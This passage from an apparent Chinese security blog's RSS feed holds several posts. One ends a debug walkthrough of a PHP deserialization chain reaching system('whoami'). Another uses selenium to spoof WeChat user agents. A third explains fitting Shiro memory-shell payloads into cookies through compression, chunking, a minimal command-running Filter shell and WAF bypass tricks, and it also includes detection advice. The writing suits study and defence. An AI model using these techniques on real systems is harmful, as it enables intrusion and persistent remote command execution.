 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fdbfa5248bdf444f5c691eeb00299522.png&amp;size=m" width="100%" height="100%">
</figure>
<p style="">让$hasVisible=false</p>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fb1f8d265aaa0a8abe0a3421188ff0c9.png&amp;size=m" width="100%" height="100%">
</figure>
<p style="">步入getAttr方法。再继续。</p>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fca789b8826798b247e5c79d82c16f9a.png&amp;size=m" width="100%" height="100%">
</figure>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fd1187499b5c47ba448c365c63dfa5a0.png&amp;size=m" width="100%" height="100%">
</figure>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fe5e83dd88983bcb322aee26dde84340.png&amp;size=m" width="100%" height="100%">
</figure>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fb9ccbc5493ff0c90d0b5efda0fd0dfc.png&amp;size=m" width="100%" height="100%">
</figure>
<p style="">最后走到这，关键点来了，为什么$closure等于system呢，因为$this-&gt;withAttr[$name]等于p2， $key =&gt; $closure 中等于p2 =&gt; system，正好与之前的POC中$withAttr=['p2'=&gt;['p2'=&gt;'system']];相对应。</p>
<p style="">getJsonValue(string $name, $value)中传入的$name为p2，$value为[p2 =&gt; whoami]，与之前的POC中$data=['p2'=&gt;['p2'=&gt;'whoami']];相对应。</p>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Ff4be291c34d6bc5317acc72b3ca0f2a.png&amp;size=m" width="100%" height="100%">
</figure>
<p style="">这段代码$value[$key] = $closure($value[$key], $value);则为$value[$key] = system('whoami', $value);，则执行命令。</p>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F62fb4f1d6a0fd840683fbb490858e57.png&amp;size=m" width="100%" height="100%">
</figure>
<p style=""></p>]]></description><guid isPermaLink="false">/archives/019b8d69-6a84-76f3-b56b-d52705f87ad6</guid><dc:creator>GowNinng</dc:creator><enclosure url="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fabstract-art-with-red-and-white-light..jpg&amp;size=m" type="image/jpeg" length="104784"/><category>网络安全</category><pubDate>Tue, 25 Jun 2024 01:15:00 GMT</pubDate></item><item><title><![CDATA[selenium模拟微信UA请求踩的坑]]></title><link>http://gowninng.cn/archives/019b8d69-3e28-7318-b6fd-76531b83ab3c</link><description><![CDATA[<img src="http://gowninng.cn/plugins/feed/assets/telemetry.gif?title=selenium%E6%A8%A1%E6%8B%9F%E5%BE%AE%E4%BF%A1UA%E8%AF%B7%E6%B1%82%E8%B8%A9%E7%9A%84%E5%9D%91&amp;url=/archives/019b8d69-3e28-7318-b6fd-76531b83ab3c" width="1" height="1" alt="" style="opacity:0;">
<p style="">某天一朋友分享给我一个url，他让我写一个python脚本批量动态模拟请求，打开看了一下，网站首先先校验UA头是否为微信，用burp打开抓包看一下，觉得就是改个UA的事情，但是他又说后台是会记录请求IP、UA、设备ID等各种记录，需要每次不同才行，那我心想着改个随机微信UA再添加个代理池功能得了，于是开始操作。</p>
<p style=""></p>
<p style="">首先我先只在火狐上面用插件模拟UA头看是否能绕过，用的插件是User-Agent Switcher and Manager 直接选择WeChat的UA，点击应用，访问url，成功访问（这里就不上图了，涉及隐私）。</p>
<p style=""></p>
<p style="">既然成功了，那我就开始写脚本，用python的selenium模块模拟浏览器操作。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1737132194292.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">xxx省略代码，我用的是Chrome，结果第一个坑就来了，这个url只能访问http，结果模拟一直跳转到https，在网上搜各种资料都不行，无奈我让朋友再给我一个支持https的链接，作罢。</p>
<p style="">接下来又来了一个坑，UA头在脚本打印出的结果是已经替换，但是浏览器打开我用f12查看的时候并没有更改成功，包括抓包也是，我想着奇了怪了，明明我的写法是对的呀。</p>
<pre><code class="language-python">    # 配置 headers
    new_ua = random.choice(ua_list)  # 使用随机微信 UA
    # 配置 Firefox 选项
    chrome_options = Options()
    chrome_options.add_argument('--disable-gpu')
    chrome_options.add_argument('--no-sandbox')
    chrome_options.set_preference("general.useragent.override", new_ua)  # 设置 UA</code></pre>
<p style="">忘了说了，这个站点判断如果是微信UA，还会动态请求其他url，都没有被替换UA，一时间头都大了。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1737132256661.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">然后我想着用seleniumwire的interceptor替换请求头，在终端打印后显示替换成功，抓包也显示替换成功，但是浏览器f12还是没能替换成功，我都无奈了。然后把下面的这段代码注释了。</p>
<pre><code class="language-python">  # 设置请求头
    def interceptor(request):
        # if request.url.startswith('https://'):
        #     request.url = request.url.replace('https://', 'http://')  # 将 HTTPS 改为 HTTP
        # 清理重复的请求头（统一转换为小写）
        for key in list(request.headers.keys()):
            if key.lower() in headers:  # 如果请求头已存在，先删除
                del request.headers[key]
        # 添加自定义请求头
        for key, value in headers.items():
            request.headers[key] = value

    driver.request_interceptor = interceptor</code></pre>
<p style="">改来改去又有很多坑，我觉得代码没问题，仔细想了想，之前用了火狐加插件就可以模拟，我为何不用火狐的driver来模拟呢，将chrome替换成火狐，结果莫名其妙的成功了。</p>]]></description><guid isPermaLink="false">/archives/019b8d69-3e28-7318-b6fd-76531b83ab3c</guid><dc:creator>GowNinng</dc:creator><enclosure url="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fgoogle-deepmind-pyET8SQTc0A-unsplash.jpg&amp;size=m" type="image/jpeg" length="66537"/><category>开发</category><pubDate>Fri, 17 May 2024 16:47:00 GMT</pubDate></item><item><title><![CDATA[shiro注入内存马cookie过长问题]]></title><link>http://gowninng.cn/archives/019b8d68-e826-774f-8594-1b5fc1e7c469</link><description><![CDATA[<img src="http://gowninng.cn/plugins/feed/assets/telemetry.gif?title=shiro%E6%B3%A8%E5%85%A5%E5%86%85%E5%AD%98%E9%A9%ACcookie%E8%BF%87%E9%95%BF%E9%97%AE%E9%A2%98&amp;url=/archives/019b8d68-e826-774f-8594-1b5fc1e7c469" width="1" height="1" alt="" style="opacity:0;">
<p style="">在Apache Shiro框架中注入内存马时，遇到Cookie过长的问题通常与Shiro的Cookie处理机制和HTTP协议限制有关，本文只讲可用方法。</p>
<hr>
<h3 style="" id="%E2%80%8B1.-%E9%97%AE%E9%A2%98%E6%A0%B9%E6%BA%90%E5%88%86%E6%9E%90"><strong>​1. 问题根源分析</strong></h3>
<h4 style="" id="%E2%80%8B1.1-shiro%E7%9A%84cookie%E5%A4%84%E7%90%86%E6%9C%BA%E5%88%B6"><strong>​1.1 Shiro的Cookie处理机制</strong></h4>
<ul>
 <li>
  <p style="">​<strong>RememberMe Cookie</strong>：Shiro默认使用<code>CookieRememberMeManager</code>，序列化对象后Base64编码存储在Cookie中</p>
 </li>
 <li>
  <p style="">​<strong>长度限制</strong>：</p>
  <ul>
   <li>
    <p style="">HTTP协议规范：单个Cookie值通常不超过<strong>4KB</strong>​（浏览器和服务器的共同限制）</p>
   </li>
   <li>
    <p style="">常见服务器限制：</p>
    <ul>
     <li>
      <p style="">Tomcat默认最大Cookie头：8KB（可通过<code>maxCookieCount</code>调整）</p>
     </li>
     <li>
      <p style="">Nginx默认请求头大小：4KB（需调整<code>large_client_header_buffers</code>）</p>
     </li>
    </ul>
   </li>
  </ul>
 </li>
</ul>
<h4 style="" id="%E2%80%8B1.2-%E5%86%85%E5%AD%98%E9%A9%AC%E6%B3%A8%E5%85%A5%E5%9C%BA%E6%99%AF"><strong>​1.2 内存马注入场景</strong></h4>
<p style="">当注入复杂的内存马（如Tomcat Filter型）时，序列化后的payload可能超过限制：</p>
<pre><code class="language-java">// 示例：一个包含多个Filter的复杂内存马序列化后可能达到10KB+
byte[] payload = Serializer.serialize(complexMemoryShell);
String base64Payload = Base64.encode(payload); // 长度膨胀约1.3倍</code></pre>
<hr>
<h3 style="" id="%E2%80%8B2.-%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88"><strong>​2. 解决方案</strong></h3>
<h4 style="" id="%E2%80%8B2.1-payload%E5%8E%8B%E7%BC%A9%E4%BC%98%E5%8C%96"><strong>​2.1 Payload压缩优化</strong></h4>
<pre><code class="language-java">// 使用GZIP压缩（可减少50%-70%体积）
ByteArrayOutputStream baos = new ByteArrayOutputStream();
GZIPOutputStream gzip = new GZIPOutputStream(baos);
gzip.write(payloadBytes);
gzip.close();
byte[] compressed = baos.toByteArray();
String finalPayload = Base64.encodeToString(compressed);

// Shiro端需配套解压代码
public class CompressedRememberMeManager extends CookieRememberMeManager {
    protected byte[] convertCookieToBytes(byte[] compressed) {
        return Gunzip.decompress(super.convertCookieToBytes(compressed));
    }
}</code></pre>
<h4 style="" id="%E2%80%8B2.2-%E5%88%86%E7%89%87%E5%AD%98%E5%82%A8%E6%96%B9%E6%A1%88"><strong>​2.2 分片存储方案</strong></h4>
<pre><code class="language-java">// 将payload分片存储到多个Cookie中（需自定义管理器）
String[] chunks = splitPayload(base64Payload, 3800); // 每片略小于4KB

response.addHeader("Set-Cookie", "shiro_chunk_1=" + chunks[0]);
response.addHeader("Set-Cookie", "shiro_chunk_2=" + chunks[1]);

// 服务端重组逻辑
public byte[] rebuildPayload(HttpServletRequest request) {
    String[] chunks = getCookies(request, "shiro_chunk_");
    return Base64.decode(String.join("", chunks));
}</code></pre>
<h4 style="" id="%E2%80%8B2.3-%E6%9B%BF%E4%BB%A3%E5%AD%98%E5%82%A8%E4%BD%8D%E7%BD%AE"><strong>​2.3 替代存储位置</strong></h4>
<div style="overflow-x: auto; overflow-y: hidden;">
 <table style="width: 850px">
  <colgroup>
   <col style="width: 100px">
   <col style="width: 100px">
   <col style="width: 650px">
  </colgroup>
  <tbody>
   <tr style="margin: 0px; padding: 0px; border: 0px; font: inherit; vertical-align: baseline;">
    <th colspan="1" rowspan="1" colwidth="100" style="margin: 0px; padding: 0.66em 1em; border: 0px; font-style: ; font-variant-ligatures: ; font-variant-caps: ; font-variant-numeric: ; font-variant-east-asian: ; font-variant-alternates: ; font-variant-position: ; font-variant-emoji: ; font-weight: bold; font-stretch: ; font-size: ; line-height: ; font-family: ; font-optical-sizing: ; font-size-adjust: ; font-kerning: ; font-feature-settings: ; font-variation-settings: ; vertical-align: middle; background-color: var(--yb-md-th-bg-color); color: var(--yb-md-th-color); text-align: center; max-width: 448px; white-space: normal; box-sizing: border-box;">
     <p style=""><strong>存储方式</strong></p>
    </th>
    <th colspan="1" rowspan="1" colwidth="100" style="margin: 0px; padding: 0.66em 1em; border: 0px; font-style: ; font-variant-ligatures: ; font-variant-caps: ; font-variant-numeric: ; font-variant-east-asian: ; font-variant-alternates: ; font-variant-position: ; font-variant-emoji: ; font-weight: bold; font-stretch: ; font-size: ; line-height: ; font-family: ; font-optical-sizing: ; font-size-adjust: ; font-kerning: ; font-feature-settings: ; font-variation-settings: ; vertical-align: middle; background-color: var(--yb-md-th-bg-color); color: var(--yb-md-th-color); text-align: center; max-width: 448px; white-space: normal; box-sizing: border-box;">
     <p style=""><strong>实现方案</strong></p>
    </th>
    <th colspan="1" rowspan="1" colwidth="650" style="margin: 0px; padding: 0.66em 1em; border: 0px; font-style: ; font-variant-ligatures: ; font-variant-caps: ; font-variant-numeric: ; font-variant-east-asian: ; font-variant-alternates: ; font-variant-position: ; font-variant-emoji: ; font-weight: bold; font-stretch: ; font-size: ; line-height: ; font-family: ; font-optical-sizing: ; font-size-adjust: ; font-kerning: ; font-feature-settings: ; font-variation-settings: ; vertical-align: middle; background-color: var(--yb-md-th-bg-color); color: var(--yb-md-th-color); text-align: center; max-width: 448px; white-space: normal; box-sizing: border-box;">
     <p style=""><strong>优缺点</strong></p>
    </th>
   </tr>
   <tr style="margin: 0px; padding: 0px; border: 0px; font: inherit; vertical-align: baseline;">
    <td colspan="1" rowspan="1" colwidth="100" style="margin: 0px; padding: 0.66em 1em; border: 0px; font: var(--yb-font-body-medium); vertical-align: middle; background-color: var(--yb-md-td-bg-color-odd); color: var(--yb-md-td-color); text-align: center; max-width: 448px; white-space: normal; box-sizing: border-box;">
     <p style="">​<strong>URL参数</strong></p>
    </td>
    <td colspan="1" rowspan="1" colwidth="100" style="margin: 0px; padding: 0.66em 1em; border: 0px; font: var(--yb-font-body-medium); vertical-align: middle; background-color: var(--yb-md-td-bg-color-odd); color: var(--yb-md-td-color); text-align: center; max-width: 448px; white-space: normal; box-sizing: border-box;">
     <p style=""><code>rememberMe=${payload}</code> 附加到所有请求URL</p>
    </td>
    <td colspan="1" rowspan="1" colwidth="650" style="margin: 0px; padding: 0.66em 1em; border: 0px; font: var(--yb-font-body-medium); vertical-align: middle; background-color: var(--yb-md-td-bg-color-odd); color: var(--yb-md-td-color); text-align: center; max-width: 448px; white-space: normal; box-sizing: border-box;">
     <p style="">需控制路由长度，可能被日志记录</p>
    </td>
   </tr>
   <tr style="margin: 0px; padding: 0px; border: 0px; font: inherit; vertical-align: baseline;">
    <td colspan="1" rowspan="1" colwidth="100" style="margin: 0px; padding: 0.66em 1em; border: 0px; font: var(--yb-font-body-medium); vertical-align: middle; background-color: var(--yb-md-td-bg-color-even); color: var(--yb-md-td-color); text-align: center; max-width: 448px; white-space: normal; box-sizing: border-box;">
     <p style="">​<strong>HTTP Headers</strong></p>
    </td>
    <td colspan="1" rowspan="1" colwidth="100" style="margin: 0px; padding: 0.66em 1em; border: 0px; font: var(--yb-font-body-medium); vertical-align: middle; background-color: var(--yb-md-td-bg-color-even); color: var(--yb-md-td-color); text-align: center; max-width: 448px; white-space: normal; box-sizing: border-box;">
     <p style="">自定义Header如<code>X-Remember-Me: ${payload}</code></p>
    </td>
    <td colspan="1" rowspan="1" colwidth="650" style="margin: 0px; padding: 0.66em 1em; border: 0px; font: var(--yb-font-body-medium); vertical-align: middle; background-color: var(--yb-md-td-bg-color-even); color: var(--yb-md-td-color); text-align: center; max-width: 448px; white-space: normal; box-sizing: border-box;">
     <p style="">需服务端配合解析</p>
    </td>
   </tr>
   <tr style="margin: 0px; padding: 0px; border: 0px; font: inherit; vertical-align: baseline;">
    <td colspan="1" rowspan="1" colwidth="100" style="margin: 0px; padding: 0.66em 1em; border: 0px; font: var(--yb-font-body-medium); vertical-align: middle; background-color: var(--yb-md-td-bg-color-odd); color: var(--yb-md-td-color); text-align: center; max-width: 448px; white-space: normal; box-sizing: border-box;">
     <p style="">​<strong>LocalStorage</strong></p>
    </td>
    <td colspan="1" rowspan="1" colwidth="100" style="margin: 0px; padding: 0.66em 1em; border: 0px; font: var(--yb-font-body-medium); vertical-align: middle; background-color: var(--yb-md-td-bg-color-odd); color: var(--yb-md-td-color); text-align: center; max-width: 448px; white-space: normal; box-sizing: border-box;">
     <p style="">JS通过<code>localStorage.setItem('rm',payload)</code> + 每次请求自动携带</p>
    </td>
    <td colspan="1" rowspan="1" colwidth="650" style="margin: 0px; padding: 0.66em 1em; border: 0px; font: var(--yb-font-body-medium); vertical-align: middle; background-color: var(--yb-md-td-bg-color-odd); color: var(--yb-md-td-color); text-align: center; max-width: 448px; white-space: normal; box-sizing: border-box;">
     <p style="">需XSS配合</p>
    </td>
   </tr>
   <tr style="margin: 0px; padding: 0px; border: 0px; font: inherit; vertical-align: baseline;">
    <td colspan="1" rowspan="1" colwidth="100" style="margin: 0px; padding: 0.66em 1em; border: 0px; font: var(--yb-font-body-medium); vertical-align: middle; background-color: var(--yb-md-td-bg-color-even); color: var(--yb-md-td-color); text-align: center; max-width: 448px; white-space: normal; box-sizing: border-box;">
     <p style="">​<strong>IndexedDB</strong></p>
    </td>
    <td colspan="1" rowspan="1" colwidth="100" style="margin: 0px; padding: 0.66em 1em; border: 0px; font: var(--yb-font-body-medium); vertical-align: middle; background-color: var(--yb-md-td-bg-color-even); color: var(--yb-md-td-color); text-align: center; max-width: 448px; white-space: normal; box-sizing: border-box;">
     <p style="">存储大体积payload，通过Service Worker拦截请求注入</p>
    </td>
    <td colspan="1" rowspan="1" colwidth="650" style="margin: 0px; padding: 0.66em 1em; border: 0px; font: var(--yb-font-body-medium); vertical-align: middle; background-color: var(--yb-md-td-bg-color-even); color: var(--yb-md-td-color); text-align: center; max-width: 448px; white-space: normal; box-sizing: border-box;">
     <p style="">实现复杂</p>
    </td>
   </tr>
  </tbody>
 </table>
</div>
<h4 style="" id="%E2%80%8B2.4-%E7%B2%BE%E7%AE%80%E5%86%85%E5%AD%98%E9%A9%AC%E8%AE%BE%E8%AE%A1"><strong>​2.4 精简内存马设计</strong></h4>
<pre><code class="language-java">// 使用最小化内存马模板（约1.5KB序列化后）
public class MiniShell implements Filter {
    public void doFilter(ServletRequest req, ServletResponse res) {
        String cmd = req.getParameter("cmd");
        if(cmd != null) {
            // 直接调用Runtime.getRuntime().exec()等基础功能
        }
    }
}
// 生成payload时可减少50%体积</code></pre>
<hr>
<h3 style="" id="%E2%80%8B3.-%E7%BB%95%E8%BF%87%E6%9C%8D%E5%8A%A1%E5%99%A8%E9%99%90%E5%88%B6%E7%9A%84%E6%8A%80%E5%B7%A7"><strong>​3. 绕过服务器限制的技巧</strong></h3>
<h4 style="" id="%E2%80%8B3.1-tomcat%E9%85%8D%E7%BD%AE%E7%AA%81%E7%A0%B4"><strong>​3.1 Tomcat配置突破</strong></h4>
<pre><code class="language-xml">&lt;!-- conf/server.xml 调整maxHeaderSize --&gt;
&lt;Connector port="8080" maxHeaderSize="65536" /&gt;</code></pre>
<h4 style="" id="%E2%80%8B3.2-nginx%E8%B0%83%E6%95%B4"><strong>​3.2 Nginx调整</strong></h4>
<pre><code class="language-nginx">http {
    large_client_header_buffers 4 32k; # 允许32KB的Header
}</code></pre>
<h4 style="" id="%E2%80%8B3.3-%E5%88%86%E5%9D%97%E4%BC%A0%E8%BE%93%E7%BC%96%E7%A0%81%EF%BC%88chunked%EF%BC%89%E2%80%8B"><strong>​3.3 分块传输编码（Chunked）​</strong></h4>
<pre><code class="language-http">POST /login HTTP/1.1
Transfer-Encoding: chunked

7\r\n
payload=\r\n
800\r\n
[compressed_data_in_chunks]\r\n
0\r\n\r\n</code></pre>
<hr>
<h3 style="" id="%E2%80%8B4.-%E9%98%B2%E5%BE%A1%E6%A3%80%E6%B5%8B%E6%96%B9%E6%A1%88"><strong>​4. 防御检测方案</strong></h3>
<h4 style="" id="%E2%80%8B4.1-%E6%9C%8D%E5%8A%A1%E7%AB%AF%E9%98%B2%E6%8A%A4"><strong>​4.1 服务端防护</strong></h4>
<pre><code class="language-java">// 自定义RememberMe管理器检测异常payload
public class SecureRememberMeManager extends CookieRememberMeManager {
    protected byte[] getRememberedSerializedIdentity(HttpServletRequest request) {
        byte[] data = super.getRememberedSerializedIdentity(request);
        if(data.length &gt; 4096) { // 设置合理阈值
            throw new IllegalStateException("Suspicious oversized cookie");
        }
        return data;
    }
}</code></pre>
<h4 style="" id="%E2%80%8B4.2-%E7%9B%91%E6%8E%A7%E6%8C%87%E6%A0%87"><strong>​4.2 监控指标</strong></h4>
<div style="overflow-x: auto; overflow-y: hidden;">
 <table style="width: 791px">
  <colgroup>
   <col style="width: 100px">
   <col style="width: 691px">
  </colgroup>
  <tbody>
   <tr style="margin: 0px; padding: 0px; border: 0px; font: inherit; vertical-align: baseline;">
    <th colspan="1" rowspan="1" colwidth="100" style="margin: 0px; padding: 0.66em 1em; border: 0px; font-style: ; font-variant-ligatures: ; font-variant-caps: ; font-variant-numeric: ; font-variant-east-asian: ; font-variant-alternates: ; font-variant-position: ; font-variant-emoji: ; font-weight: bold; font-stretch: ; font-size: ; line-height: ; font-family: ; font-optical-sizing: ; font-size-adjust: ; font-kerning: ; font-feature-settings: ; font-variation-settings: ; vertical-align: middle; background-color: var(--yb-md-th-bg-color); color: var(--yb-md-th-color); text-align: center; max-width: 448px; white-space: normal; box-sizing: border-box;">
     <p style=""><strong>检测点</strong></p>
    </th>
    <th colspan="1" rowspan="1" colwidth="691" style="margin: 0px; padding: 0.66em 1em; border: 0px; font-style: ; font-variant-ligatures: ; font-variant-caps: ; font-variant-numeric: ; font-variant-east-asian: ; font-variant-alternates: ; font-variant-position: ; font-variant-emoji: ; font-weight: bold; font-stretch: ; font-size: ; line-height: ; font-family: ; font-optical-sizing: ; font-size-adjust: ; font-kerning: ; font-feature-settings: ; font-variation-settings: ; vertical-align: middle; background-color: var(--yb-md-th-bg-color); color: var(--yb-md-th-color); text-align: center; max-width: 448px; white-space: normal; box-sizing: border-box;">
     <p style=""><strong>异常特征</strong></p>
    </th>
   </tr>
   <tr style="margin: 0px; padding: 0px; border: 0px; font: inherit; vertical-align: baseline;">
    <td colspan="1" rowspan="1" colwidth="100" style="margin: 0px; padding: 0.66em 1em; border: 0px; font: var(--yb-font-body-medium); vertical-align: middle; background-color: var(--yb-md-td-bg-color-odd); color: var(--yb-md-td-color); text-align: center; max-width: 448px; white-space: normal; box-sizing: border-box;">
     <p style="">​<strong>Cookie数量</strong></p>
    </td>
    <td colspan="1" rowspan="1" colwidth="691" style="margin: 0px; padding: 0.66em 1em; border: 0px; font: var(--yb-font-body-medium); vertical-align: middle; background-color: var(--yb-md-td-bg-color-odd); color: var(--yb-md-td-color); text-align: center; max-width: 448px; white-space: normal; box-sizing: border-box;">
     <p style="">单个用户突然出现多个<code>rememberMe</code>相关Cookie</p>
    </td>
   </tr>
   <tr style="margin: 0px; padding: 0px; border: 0px; font: inherit; vertical-align: baseline;">
    <td colspan="1" rowspan="1" colwidth="100" style="margin: 0px; padding: 0.66em 1em; border: 0px; font: var(--yb-font-body-medium); vertical-align: middle; background-color: var(--yb-md-td-bg-color-even); color: var(--yb-md-td-color); text-align: center; max-width: 448px; white-space: normal; box-sizing: border-box;">
     <p style="">​<strong>Cookie大小</strong></p>
    </td>
    <td colspan="1" rowspan="1" colwidth="691" style="margin: 0px; padding: 0.66em 1em; border: 0px; font: var(--yb-font-body-medium); vertical-align: middle; background-color: var(--yb-md-td-bg-color-even); color: var(--yb-md-td-color); text-align: center; max-width: 448px; white-space: normal; box-sizing: border-box;">
     <p style="">超过4KB的Base64数据（正常Shiro Cookie通常&lt;2KB）</p>
    </td>
   </tr>
   <tr style="margin: 0px; padding: 0px; border: 0px; font: inherit; vertical-align: baseline;">
    <td colspan="1" rowspan="1" colwidth="100" style="margin: 0px; padding: 0.66em 1em; border: 0px; font: var(--yb-font-body-medium); vertical-align: middle; background-color: var(--yb-md-td-bg-color-odd); color: var(--yb-md-td-color); text-align: center; max-width: 448px; white-space: normal; box-sizing: border-box;">
     <p style="">​<strong>压缩数据特征</strong></p>
    </td>
    <td colspan="1" rowspan="1" colwidth="691" style="margin: 0px; padding: 0.66em 1em; border: 0px; font: var(--yb-font-body-medium); vertical-align: middle; background-color: var(--yb-md-td-bg-color-odd); color: var(--yb-md-td-color); text-align: center; max-width: 448px; white-space: normal; box-sizing: border-box;">
     <p style="">GZIP头出现在Cookie中（<code>1F 8B 08</code> magic number）</p>
    </td>
   </tr>
  </tbody>
 </table>
</div>
<hr>
<h3 style="" id="%E2%80%8B5.-%E5%AE%9E%E6%88%98%E6%A1%88%E4%BE%8B"><strong>​5. 实战案例</strong></h3>
<p style="line-height: inherit">某次渗透测试中的成功利用流程：</p>
<ol>
 <li>
  <p style="">​<strong>发现限制</strong>：原始Filter内存马序列化后8.7KB → Base64后11.6KB</p>
 </li>
 <li>
  <p style="">​<strong>解决方案</strong>：</p>
  <ul>
   <li>
    <p style="">使用GZIP压缩至3.2KB → Base64后4.3KB</p>
   </li>
   <li>
    <p style="">分片存储到2个Cookie：<code>rm_a</code>(4KB) + <code>rm_b</code>(0.3KB)</p>
   </li>
  </ul>
 </li>
</ol>
<p style="">​<strong>利用链</strong>：</p>
<p style=""></p>
<h3 style="" id="%E5%85%B6%E4%BB%96">其他</h3>
<p style="">如果是 waf拦截可以尝试更换http头如果是tomcat头过长可以在cookie写一个loader然后shellcode 写到body。</p>
<p style="line-height: inherit"><span>把 GET POST换成 OPTIONS 等方式，换成静态资源 css、js。</span></p>
<p style="line-height: inherit"><span>或者在payload中加入某些特殊字符，即可绕过waf，符号有&nbsp;</span><code>@、！、#</code> 。</p>
<p style="">缩短payload长度工具：<hyperlink-inline-card target="_blank" href="https://github.com/freeFV/ShortPayload" theme="inline"><a href="https://github.com/freeFV/ShortPayload" target="_blank">https://github.com/freeFV/ShortPayload</a></hyperlink-inline-card></p>
<h3 style="" id="%E5%BC%95%E7%94%A8">引用</h3>
<ul>
 <li>
  <p style=""><hyperlink-inline-card target="_blank" href="https://mp.weixin.qq.com/s/OY9x2EYqIxPNABwGQNVkcw" theme="inline"><a href="https://mp.weixin.qq.com/s/OY9x2EYqIxPNABwGQNVkcw" target="_blank">https://mp.weixin.qq.com/s/OY9x2EYqIxPNABwGQNVkcw</a></hyperlink-inline-card> <strong>Shiro注入反序列化内存马流程</strong></p>
 </li>
 <li>
  <p style=""><hyperlink-inline-card target="_blank" href="https://mp.weixin.qq.com/s/40hIZ8CY3Oes0c0gB6tVuQ" theme="inline"><a href="https://mp.weixin.qq.com/s/40hIZ8CY3Oes0c0gB6tVuQ" target="_blank">https://mp.weixin.qq.com/s/40hIZ8CY3Oes0c0gB6tVuQ</a></hyperlink-inline-card> <strong>浅析Shiro反序列化Payload长度绕过</strong></p>
 </li>
</ul>
<p style=""></p>
<p style=""></p>]]></description><guid isPermaLink="false">/archives/019b8d68-e826-774f-8594-1b5fc1e7c469</guid><dc:creator>GowNinng</dc:creator><enclosure url="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fcader_-dOYVMySdXd0-unsplash.jpg&amp;size=m" type="image/jpeg" length="91303"/><category>网络安全</category><pubDate>Wed, 27 Mar 2024 02:47:00 GMT</pubDate></item><item><title><![CDATA[Hello Halo]]></title><link>http://gowninng.cn/archives/c7856f0d-4f53-4e90-a1aa-9597de989759</link><description><![CDATA[<img src="http://gowninng.cn/plugins/feed/assets/telemetry.gif?title=Hello%20Halo&amp;url=/archives/c7856f0d-4f53-4e90-a1aa-9597de989759" width="1" height="1" alt="" style="opacity:0;">
<h2 style="" id="hello-halo">Hello Halo</h2>
<p style="">如果你看到了这一篇文章，那么证明你已经安装成功了，感谢使用 <a href="https://halo.run">Halo</a> 进行创作，希望能够使用愉快。</p>
<h2 style="" id="%E7%9B%B8%E5%85%B3%E9%93%BE%E6%8E%A5">相关链接</h2>
<ul>
 <li>
  <p style="">官网：<a href="https://halo.run">https://halo.run</a></p>
 </li>
 <li>
  <p style="">文档：<a href="https://docs.halo.run">https://docs.halo.run</a></p>
 </li>
 <li>
  <p style="">社区：<a href="https://bbs.halo.run">https://bbs.halo.run</a></p>
 </li>
 <li>
  <p style="">主题仓库：<a href="https://halo.run/themes.html">https://halo.run/themes.html</a></p>
 </li>
 <li>
  <p style="">开源地址：<a href="https://github.com/halo-dev/halo">https://github.com/halo-dev/halo</a></p>
 </li>
</ul>
<p style="">在使用过程中，有任何问题都可以通过以上链接找寻答案，或者联系我们。</p>
<blockquote>
 <p style="">这是一篇自动生成的文章，请删除这篇文章之后开始你的创作吧！</p>
</blockquote>
<p style=""></p>]]></description><guid isPermaLink="false">/archives/c7856f0d-4f53-4e90-a1aa-9597de989759</guid><dc:creator>GowNinng</dc:creator><enclosure url="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fhellohalo-dCHJ.png&amp;size=m" type="image/jpeg" length="19239"/><category>默认分类</category><pubDate>Thu, 27 Jul 2023 05:22:27 GMT</pubDate></item><item><title><![CDATA[缓冲区溢出攻击基础&漏洞复现]]></title><link>http://gowninng.cn/archives/019b8d69-5258-7498-9016-4cf6da0c1788</link><description><![CDATA[<img src="http://gowninng.cn/plugins/feed/assets/telemetry.gif?title=%E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA%E6%94%BB%E5%87%BB%E5%9F%BA%E7%A1%80%26%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0&amp;url=/archives/019b8d69-5258-7498-9016-4cf6da0c1788" width="1" height="1" alt="" style="opacity:0;">
<h4 style="" id="0x01-%E6%BC%8F%E6%B4%9E%E4%BB%8B%E7%BB%8D">0x01 漏洞介绍</h4>
